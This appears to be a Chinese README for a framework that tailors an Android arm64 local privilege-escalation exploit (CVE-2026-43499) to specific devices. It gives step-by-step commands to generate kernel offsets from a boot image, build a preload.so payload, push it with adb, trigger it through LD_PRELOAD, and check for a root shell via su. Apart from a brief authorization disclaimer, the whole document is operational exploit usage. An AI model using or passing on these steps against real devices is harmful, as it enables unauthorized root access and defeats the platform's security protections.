English | 中文


这是一个用于 CVE-2026-43499Android arm64 本地提权适配项目。

项目会根据目标设备的 boot.img 和 profile 信息生成 target.h,然后编译出对应的 preload.so

说明:本项目是通用适配框架,不绑定单一机型。实际是否可用,以 generate_target.py 能否成功生成 target.h 以及真机测试结果为准。


目录结构

项目目录/
├── boot.img                  # 目标设备同固件 boot 镜像
├── profile_xxx.json           # 目标设备 profile
├── detect_offset.py           # 检测 profile 用
├── generate_target.py         # 生成 target.h
├── source/
│   ├── Makefile
│   └── src/
│       └── target.h           # 自动生成
└── source/build/bin/
    └── preload.so             # 编译产物

需要的依赖

基础依赖

Python 3
LLVM / llvm-objdump
Android NDK
make
adb

Windows 推荐环境

Windows 下推荐使用:

MSYS2 UCRT64
Android NDK r29
LLVM Windows x86_64

MSYS2 里安装 make:

pacman -S make coreutils

准备文件

你需要准备:

boot.img
profile_xxx.json

profile 示例:

{
  "p0_phys_offset": "0x80000000",
  "p0_kernel_phys_load": "0xc7800000"
}

profile 里的这两个地址:

p0_phys_offset
p0_kernel_phys_load

可以在已经 Root、且与目标 boot.img 同固件的手机上运行脚本得到:

python3 detect_offset.py

Windows 也可以:

python detect_offset.py

使用步骤

1. 进入项目目录

Linux / macOS:

cd /path/to/project

Windows MSYS2 示例:

cd /d/unlockProject/CVE/CVE-2026-43499-xxxxxx-main

2. 设置 NDK 路径

Linux / macOS 示例:

export ANDROID_NDK_HOME=/path/to/android-ndk

Windows MSYS2 示例:

export ANDROID_NDK_HOME=/c/Bin/android-ndk-r29

3. 生成 target.h

python3 generate_target.py \
  --boot boot.img \
  --profile profile_xxx.json \
  -o source/src/target.h

Windows 如果 python3 不可用,用:

python generate_target.py \
  --boot boot.img \
  --profile profile_xxx.json \
  -o source/src/target.h

如果提示找不到 llvm-objdump,手动指定路径:

python generate_target.py \
  --boot boot.img \
  --profile profile_xxx.json \
  -o source/src/target.h \
  --llvm-objdump "/c/Bin/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe"

成功后会看到类似:

生成成功: .../source/src/target.h
kernel SHA-256: ...
target macros: ...

4. 编译 preload.so

Linux / macOS:

make -C source clean preload

Windows MSYS2:

make -C source clean preload NDK_PREBUILT=windows-x86_64

成功后会生成:

source/build/bin/preload.so

5. 推送到设备并运行

adb push source/build/bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 0644 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true'

验证:

adb shell '/data/local/tmp/su -c id'

成功时一般会看到:

uid=0(root) gid=0(root)

Windows MSYS2 一键流程

按你的路径示例:

cd /d/unlockProject/CVE/CVE-2026-43499-annibale-main
export ANDROID_NDK_HOME=/c/Bin/android-ndk-r29
python generate_target.py --boot boot.img --profile profile_xxx.json -o source/src/target.h --llvm-objdump "/c/Bin/clang+llvm-22.1.8-x86_64-pc-windows-msvc/bin/llvm-objdump.exe"
make -C source clean preload NDK_PREBUILT=windows-x86_64

最终文件:

source/build/bin/preload.so

常见问题

找不到 llvm-objdump

安装 LLVM,或者使用:

--llvm-objdump "/path/to/llvm-objdump"

找不到 make

Windows 用 MSYS2 安装:

pacman -S make coreutils

找不到 clang

一般是 NDK 路径没配好。

Windows MSYS2 示���:

export ANDROID_NDK_HOME=/c/Bin/android-ndk-r29
make -C source clean preload NDK_PREBUILT=windows-x86_64

target.h 生成失败

通常说明当前 boot.img 或内核布局还没有适配成功。

重点检查:

boot.img 是否完整
profile 是否正确
llvm-objdump 是否可用
内核是否有 IKCONFIG / kallsyms / BTF

注意

  • 换设备、换系统、换内核后,需要重新生成 target.h
  • target.h 不建议手动改,应该由 generate_target.py 自动生成。
  • 请只在你拥有授权的设备和环境中使用。